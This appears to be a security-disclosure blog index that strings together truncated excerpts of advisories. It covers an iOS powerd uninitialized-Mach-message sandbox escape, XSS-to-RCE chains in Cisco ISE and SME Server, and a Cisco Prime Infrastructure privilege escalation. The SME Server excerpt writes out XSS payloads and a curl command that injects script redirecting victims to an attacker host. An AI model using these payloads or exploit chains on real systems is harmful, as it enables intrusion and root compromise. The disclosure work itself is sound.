Unlike the MIG kernel, the MIG semantics in user-space (at least for powerd) is a bit different, the MIG routine takes the ownership of all passed objects (Mach ports, OOL memories and OOL ports), in case of failure, the MIG routine deallocates the appropriate object and returns KERN_SUCCESS (except for some few MIG routines which break this rule) which makes the MIG handler thinks that the routine returned successfully and took the ownership of all passed arguments. This is very important to understand because the bugs hugely rely on this logic.
Another important thing to mention, is that powerd uses retval parameters to store the real return value, this is kind of informing the client whether the Mach message request succeed or failed.

_io_pm_connection_copy_status() is a simple function which does nothing but returns KERN_SUCCESS, by looking to the MIG generated code, we can see that it has to reply with a complex message :

From the described above, we are obviously in front of an uninitialized OOL descriptor with full control of the address and size data members.
With some basic knowledge on how Mach IPC works, it’s possible to turn this into arbitrary code execution.
it’s worth noting that this bug does not cause any crash or a undefined behavior (unless the attacker filled memory with meaningful data), and will always returns success to the sender as we’ve seen earlier.
By controlling the uninitialized memory via spraying the heap, we could successfully fake the address and size members of mach_msg_ool_descriptor_t, thus we could reliably read an arbitrary memory address of powerd with unlimited amount of content.

Here we came across a problem, we cannot control an important member of mach_msg_ool_descriptor_t which is the .deallocate flag, if it is set to TRUE, the sender will directly deallocate the memory, otherwise, it won’t.
Unfortunately, _io_pm_connection_copy_status() sets .deallocate = FALSE, so we cannot make anything more than just reading powerd’s memory content.
We can make this bug more impcatful by finding a vulnerable function with .deallocate flag set to TRUE
After inspecting few MIG methods, we came across this MIG call:

If we can make sendData to be NULL, the method will jump into exit block and returns KERN_SUCCESS without initializing array_data and array_dataLen.
gHIDEventHistory is a global variable and we don’t have a direct control over it, after looking for a way of controlling it, it is safe to say that there is no direct way to make it invalid.
How can we make gHIDEventHistory invalid?
After inspecting powerd’s behavior, we came across this fact: if we will start a fresh powerd service process, gHIDEventHistory will still contain NULL and only after some time and via a MIG routine it will become a valid CFArray.
We came into this conclusion:
If we can force powerd to restart we can have gHIDEventHistory set to NULL which is sufficient to make sendData to NULL and trigger the bug shown above. In order to do this , we need another memory corruption to just make powerd crashe and Launchd has nothing to do but spawn a fresh powerd instance.
Here is a trivial bug NULL pointer dereference:


We can control details_ptr. If we will pass a malformed serialized data into IOCFUnserialize(), it will return NULL, and CFRelease() is called later within details_ptr without checking its value.
By testing out the primitive described above and combining the bugs together, we can turn this bug into Use-After-Deallocate. As an example, we can deallocate the CoreFoundation Library and reading its content with unlimited size:

And by deallocating such mandatory library, we would expect a random crash as follows:

Approach for exploitation
Once we have the two reliable primitives, we are in front of multiple ways to reach controlling the flow of the execution, in the exploit, we tried to do the following:
We have powersource objects which has a description CF object, this object can be updated by the attacker as he wishes if the current working powersource object has been created by himself.
We will send a very large CF Object with lots of CFData objects with some tagged values, and since we have a reliable primitive to read unlimited amount of memory from powerd, we can locate these objects and get the offset of one of the CFData objects. Later with the deallocation primitive, we will deallocate the located CFData object in page-aligned manner, and re-fill it with user controlled memory.
By sending multiple Mach OOL messages with .copy = MACH_PHYSICAL_COPY, otherwise, we can’t refill memory as we would like, since powerd MIG routines deallocate OOL descriptor in the end of each function, we can successfully control the ISA pointer of the CFData, and by releasing the target powersource->description, we get a PC control with X0 pointing to our controlled payload. And the exploitation becomes straightforward.
Exploit
Source Code
You can find the full source code of the exploit here:
iOS powerd Uninitialized Mach Message Reply to Sandbox Escape and Privilege Escalation
The exploit that will be provided here, steals powerd’s task port using ROP/JOP chains as follow:

(more…)

SSD Advisory – Cisco ISE Unauthenticated XSS to Privileged RCE

Vulnerabilities Summary
Cisco Identity Services Engine (ISE) contains three vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first is a Stored Cross Site Scripting file upload vulnerability that allows the attacker to upload and execute html pages on victims browser. The second is an already known vulnerability Unsafe Flex AMF Java Object Deserialization CVE-2017-5641 which we used in this exploit. The third is a Privilege Escalation via Incorrect sudo File Permissions that let local attackers run code as root.
Vendor Response
“I would like to inform you that we have assigned the CVE-ID, CVE-2018-15440 for the reported XSS vulnerability.The security advisory will be accessible after the publication date (Jan,9th 2019) at the following URL:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190109-ise-multi-xss”
CVE
CVE-2018-15440
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Affected systems
Cisco Identity Services Engine version 2.4.0
Vulnerability Details
First Vulnerability: Stored Cross Site Scripting
Attack Vector: Remote
The LiveLogSettingsServlet, available at /admin/LiveLogSettingsServlet, contains a stored cross site scripting vulnerability. The doGet() HTTP request handler takes in an Action parameter as a HTTP query variable, which can be “read” or “write”.
With the “write” parameter, it calls the writeLiveLogSettings() function which then takes several query string variables, such as Columns, Rows, Refresh_rate and Time_period. The content of these query string variables is then written to /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt, and the server responds with a 200 OK.
These parameters are not validated, and can contain any text. When the Action parameter equals “read”, the servlet will read the /opt/CSCOcpm/mnt/dashboard/liveAuthProps.txt file and display it back to the user with the Content-Type “text/html”, causing whatever was written to that file to be rendered and executed by the browser. To mount a simple attack, we can send the following request:

(more…)

SSD Advisory – SME Server Unauthenticated XSS To Privileged Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in SME Server 9.2, which lets an unauthenticated attackers perform XSS attack that leads to remote code execution as root. SME Server is a Linux distribution for small and medium enterprises by Koozali foundation.
CVE
CVE-2018-18072
Credit
An independent security researcher, Karn Ganeshen has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Affected systems
SME Server 9.2
Vendor Response
Fixed in phpki-0.82-17.el6.sme, phpki-0.82-18.el6.sme, phpki-0.82-19.el6.sme
Vulnerability Details
Software for the SME Server is packaged using RPM Package Manager (RPM) system. Existing packages from CentOS and other third-party developers are used. The SME Server uses packages from the open source community. Packages are called as contribs. Each contrib adds a specific functionality to the SME server  deployment. Once a contrib is installed, the corresponding Menu or web panel is added to the SME HTTP management portal. The default admin user has access to all contrib Menus. admin can create a new user and assign access of specific web panels (functionality) to the user. The user can, then, view, access and administer only those specific web panels.
The vulnerable components are the “Certificate Management” & “Advanced Web Statistics”, Which are vulnerable to Cross-Site Scripting & Cross-Site Request Forgery.
For the next demonstration , the Attackers IP is 192.168.1.2 and the SME Server IP 192.168.1.109.
The exploitation starts with the contrib – PHPKI – smeserver-phpki. This contrib provides a Certificate Management functionality. The administrator adds new certificates, which the users can download and set up in their browsers. The Certificate Management portal is accessible at https://<SME Server IP>/phpki/.
It should look like this:

All users can access this without any authentication. The portal provides a Search function where a user can search for existing certificates.
Exploit
1) Reflected XSS [Pre-Auth] https://192.168.1.109/phpki/search.php/”><script>alert(“xss-phpki”)</script> . We can now see that this component is vulnerable to XSS.

Now lets arm the payload: We will inject the following payload: “><script>document.location=”http://192.168.1.2/ssd.html”</script>
Issue the following request: curl ‘https://192.168.1.109/phpki/search.php/”><script>document.location=”http://192.168.1.2/ssd.html”</script>’ –insecure This payload is injected in the back-end (Stored-XSS) and used by another contrib, Awstats.
2) Start a web server on Attacker IP to serve our evil form – ssd.html

(more…)

SSD Advisory – Cisco Prime Infrastructure File Inclusion and Remote Command Execution to Privileges Escalation

Vulnerabilities Summary
Cisco Prime Infrastructure (CPI) contains two vulnerabilities that when exploited allow an unauthenticated attacker to achieve root privileges and execute code remotely. The first vulnerability is a file upload vulnerability that allows the attacker to upload and execute JSP files as the Apache Tomcat user. The second vulnerability is a privilege escalation to root by bypassing execution restrictions in a SUID binary.
Vendor Response
Cisco has issued an advisory, https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-pi-tftp, which provides a workaround and a fix for the vulnerability. From our assessment the provided fix only addresses the file uploading part of the exploit, not the file inclusion, the ability to execute arbitrary code through it or the privileges escalation issue that the product has.
CVE
CVE-2018-15379
Credit
An independent security researcher, Pedro Ribeiro, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
(more…)